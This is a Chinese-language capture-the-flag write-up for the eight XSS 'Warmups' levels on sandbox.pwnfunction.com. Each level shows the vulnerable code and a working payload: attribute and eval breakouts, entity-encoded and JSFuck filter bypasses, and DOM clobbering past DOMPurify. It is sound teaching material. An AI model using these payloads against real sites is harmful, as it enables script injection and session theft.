场景:
xssgame靶场-Warmups部分
Warmups关卡通常用于帮助我们熟悉和理解基本的 XSS 攻击手法。通过这些入门关卡,我们可以学习如何在特定的 Web 应用场景下注入和执行恶意脚本。Warmups分为八关。
第一关Ma Spaghet!:
问题描述
- Difficulty is Easy.
- Pop an
alert(1337)
onsandbox.pwnfunction.com
.- No user interaction.
- Cannot use
https://sandbox.pwnfunction.com/?html=&js=&css=
.- Tested on Chrome.
<!-- Challenge -->
<h2 id="spaghet"></h2>
<script>
spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>
原因分析:
这段代码从 URL 的
somebody
参数获取值,并插入到页面的innerHTML
中。GET 参数以不安全的方式somebody
分配spaghet.innerHTML
解决方案:
构建payload:
由于
innerHTML
将内容直接插入到 HTML 中,我们可以利用<img>
标签和onerror
事件来弹出alert(1337)
。
<img src=x onerror="alert(1337)">
第二关Jefff:
问题描述
- Difficulty is Easy.
- Pop an
alert(1337)
onsandbox.pwnfunction.com
.- No user interaction.
- Cannot use
https://sandbox.pwnfunction.com/?html=&js=&css=
.- Tested on Chrome.
<!-- Challenge -->
<h2 id="maname"></h2>
<script>
let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
let ma = ""
eval(`ma = "Ma name ${jeff}"`)
setTimeout(_ => {
maname.innerText = ma
}, 1000)
</script>
原因分析:
主要问题在于使用了
eval
来处理输入,应该避免使用eval
,并且在处理用户输入时进行适当验证。
解决方案:
get参数
jeff
位于 eval 内eval(`ma = "Ma name ${jeff}"`)
,因此我们可以用双引号打破字符串并执行我们自己的代码。
?jeff="-alert(1337)-"
第三关Ugandan Knuckles:
问题描述
- Difficulty is Easy.
- Pop an
alert(1337)
onsandbox.pwnfunction.com
.- No user interaction.
- Cannot use
https://sandbox.pwnfunction.com/?html=&js=&css=
.- Tested on Chrome.
<!-- Challenge -->
<div id="uganda"></div>
<script>
let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
wey = wey.replace(/[<>]/g, '')
uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>
原因分析:
get 参数
wey
成为 的一部分uganda.innerHTML
,但在此之前它会过滤掉一堆字符.
解决方案:
小于号 (<) 和大于号 (>) 字符被删除,这意味着我们无法创建新标签。但引号不会被删除,因此我们可以跳出
placeholder
并注入一些属性。由于我们无法进行用户交互,我们可以使用onfocus
事件处理程序,然后自动聚焦输入触发代码
?wey=aaa"onfocus=alert(1337) autofocus="
第四关Ricardo Milos:
问题描述
- Difficulty is Easy.
- Pop an
alert(1337)
onsandbox.pwnfunction.com
.- No user interaction.
- Cannot use
https://sandbox.pwnfunction.com/?html=&js=&css=
.- Tested on Chrome.
<!-- Challenge -->
<form id="ricardo" method="GET">
<input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
setTimeout(_ => {
ricardo.submit()
}, 2000)
</script>
原因分析:
问题在于它允许通过 URL 参数来动态设置表单的
action
,从而可能导致 XSS 攻击
解决方案:
ricardo.action
通过 GET 参数设置为用户控制的输入ricardo
,并且表单自动提交
?ricardo=javascript:alert(1337)
第五关Ah That's Hawt:
问题描述
- Difficulty is Easy.
- Pop an
alert(1337)
onsandbox.pwnfunction.com
.- No user interaction.
- Cannot use
https://sandbox.pwnfunction.com/?html=&js=&css=
.- Tested on Chrome.
<!-- Challenge -->
<h2 id="will"></h2>
<script>
smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
smith = smith.replace(/[\(\`\)\\]/g, '')
will.innerHTML = smith
</script>
原因分析:
问题在于代码试图通过移除
(
, \,`
等字符来防止恶意脚本注入,但它忽略了属性值可以使用 HTML 实体编码来逃避过滤
解决方案:
可以使用 HTML 实体编码来逃避过滤
?markassbrownlee=<svg%20onload%3D"%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x31%3B%26%23x33%3B%26%23x33%3B%26%23x37%3B%26%23x29%3B">
第六关Ligma:
问题描述
- Difficulty is Easy.
- Pop an
alert(1337)
onsandbox.pwnfunction.com
.- No user interaction.
- Cannot use
https://sandbox.pwnfunction.com/?html=&js=&css=
.- Tested on Chrome.
/* Challenge */
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)
原因分析:
问题在于代码仅删除字母和数字,但不处理如特殊字符。
解决方案:
由于过滤器只删除字母和数字,可以通过特殊字符绕过过滤器
?balls=%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D((!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%5B%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D)()
第七关Mafia:
问题描述
- Difficulty is Easy.
- Pop an
alert(1337)
onsandbox.pwnfunction.com
.- No user interaction.
- Cannot use
https://sandbox.pwnfunction.com/?html=&js=&css=
.- Tested on Chrome.
/* Challenge */
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)
原因分析:
过滤了部分字符和
alert
字符串,但仍有其他未被过滤的字符和函数可用来执行代码
- 截取长度50的字符串
'"+-!\[]
被替换为_
- alert被替换为
_
解决方案:
定义匿名函数,利用匿名函数的参数构造payload,同时使用正则表达式来绕过alert字符串的检测。
?mafia=Function(/ALERT(1337)/.source.toLowerCase())()
第八关Ok, Boomer:
问题描述
- Difficulty is Easy.
- Pop an
alert(1337)
onsandbox.pwnfunction.com
.- No user interaction.
- Cannot use
https://sandbox.pwnfunction.com/?html=&js=&css=
.- Tested on Chrome.
<!-- Challenge -->
<h2 id="boomer">Ok, Boomer.</h2>
<script>
boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
setTimeout(ok, 2000)
</script>
原因分析:
使用
DOMPurify.sanitize,会过滤
入恶意 HTML 或 JavaScript 的尝试,通过boomer
参数注入脚本,也会被清理。
解决方案:
可以使用DOM Clobbering的方式,通过向HTML注入DOM元素,来实现操作JavaScript变量
?boomer=<a%20id=ok%20href=mailto:alert(1337)>